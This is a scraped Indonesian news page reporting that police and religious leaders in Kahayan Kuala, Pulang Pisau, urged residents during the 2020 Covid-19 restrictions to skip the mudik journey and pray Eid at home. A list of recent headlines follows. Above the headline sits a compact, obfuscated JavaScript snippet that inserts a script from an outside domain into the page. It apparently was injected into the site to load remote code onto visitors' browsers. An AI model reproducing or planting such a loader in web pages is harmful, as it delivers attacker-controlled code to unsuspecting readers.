(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Polsek Kahayan Kuala-MUI Kecamatan Anjurkan Ibadah di Rumah Saja


KANALKALIMANTAN. COM, PULANG PISAU – Pemerintah mengeluarkan larangan mudik. Sementara Menteri Agama telah menerbitkan surat edaran terkait panduan ibadah Ramadhan dan Idulfitri 1 Syawal 1441 H di tengah pandemi wabah corona (Covid-19).

Menindaklanjuti larangan mudik dan larangan sholat ied tersebut, Polisi Resort (Polres) Kahayan Kuala bersama Camat Kahayan Kuala berkoordinasi dengan dengan Majelis Ulama Indonesia (MUI) Kecamatan Kahayan Kuala, Kabupaten Pulang Pisau.

“Bersama dengan pimpinan daerah, telah melakukan pembahasan Surat Edaran Menteri Agama nomor 6 tahun 2020, salah satu poinnya mengatur mengenai pelaksanaan tarawih juga sholat ied, agar dilakukan bersama keluarga di rumah masing-masing,” ujar Kapolsek Kahayan Kuala IPTU Memet SH MM, Sabtu (23/5/2020).

“Kita mewaspadai pemudik dari daerah zona merah Covid-19. Dengan itu, kita imbau masyarakat agar menunda rencana mudik. Tindakan yang akan kita lakukan mengacu pada ketetapan yang berlaku,” ujarnya.

Sementara itu, Majelis Ulama Indonesia (MUI) menyambut baik upaya pemerintah untuk pencegahan penyebaran Covid-19. “Dalam itu, kami setuju untuk memutus mata rantai penyebaran Covid-19,” jelas ketua MUI Kahayan Kuala H Abdurrahman.

H Abdurrahman mengatakan, demi kebaikan bersama, diimbau agar sholat ied dilakukan di rumah dan konvoi malam takbiran tidak dilakukan. “Sementara waktu demi kebaikan bersama ditiadakan. Tapi kalau Covid-19 berakhir dapat dilaksanakan perayaan Ramadhan dan sholat Idulfitri seperti biasa,” ujarnya.

IPTU Memet mengatakan, untuk mendukung pemerintah memutus rantai penyebaran Covid-19 sebagaimana dituangkan dalam Maklumat Kapolri, pihaknya rutin melakukan operasi physical distancing.

“Disamping mengimbau masyarakat agar menghindari keramaian atau physical distancing. Itu adalah bentuk kepedulian Polri kepada masyarakat yang terkena dampak Covid-19, di wilayah hukum Kahayan Kuala. Kita langsung membuat kebijakan Penanganan Pencegahan Covid-19,” katanya. (kanalkalimantan.com/ags)

 


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

22 menit ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

5 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

5 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

5 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

9 jam ago

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

10 jam ago

This website uses cookies.